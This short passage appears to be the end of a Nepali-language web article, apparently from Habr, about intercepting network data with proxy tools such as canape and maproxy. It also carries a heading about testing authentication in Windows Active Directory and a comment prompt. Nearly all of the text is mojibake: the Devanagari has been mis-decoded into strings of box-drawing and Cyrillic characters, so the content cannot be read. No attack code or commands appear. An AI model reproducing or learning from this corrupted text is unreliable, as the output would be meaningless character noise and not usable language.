рдХреЛ рд▓рд╛рдЧреА, рд╡рд╛ canape рдЕрдиреНрддрд┐рдо рдорд╛рдорд▓рд╛ рдХреЛ рд▓рд╛рдЧреАред рдПрдХ рддрд░рд┐рдХрд╛ рд╡рд╛ рдЕрд░реНрдХреЛ, рдорджреНрджрдд рд╕рдВрдЧ maproxy рдЙрджрд╛рд╣рд░рдг рд╕реНрдХреНрд░рд┐рдкреНрдЯрд╣рд░реВ рдзреЗрд░реИ рд╕реНрдкрд╖реНрдЯ рднрдПрдХрд╛рд▓реЗ рддрдкрд╛рдИрдБрд▓реЗ рдиреЗрдЯрд╡рд░реНрдХ рдбреЗрдЯрд╛ рдЕрд╡рд░реЛрдз рдЧрд░реНрдиреЗ рдЖрдлреНрдиреЛ рд╡рд┐рдЪрд╛рд░рд╣рд░реВ рджреНрд░реБрдд рд░реВрдкрдорд╛ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдЧрд░реНрди рд╕рдХреНрдиреБрд╣реБрдиреНрдЫред

Windows AD рдорд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд╕рдВрдпрдиреНрддреНрд░ рдкрд░реАрдХреНрд╖рдг рдЧрд░реНрджреИ

рд╕реНрд░реЛрдд: www.habr.com

рдПрдХ рдЯрд┐рдкреНрдкрдгреА рдердкреНрди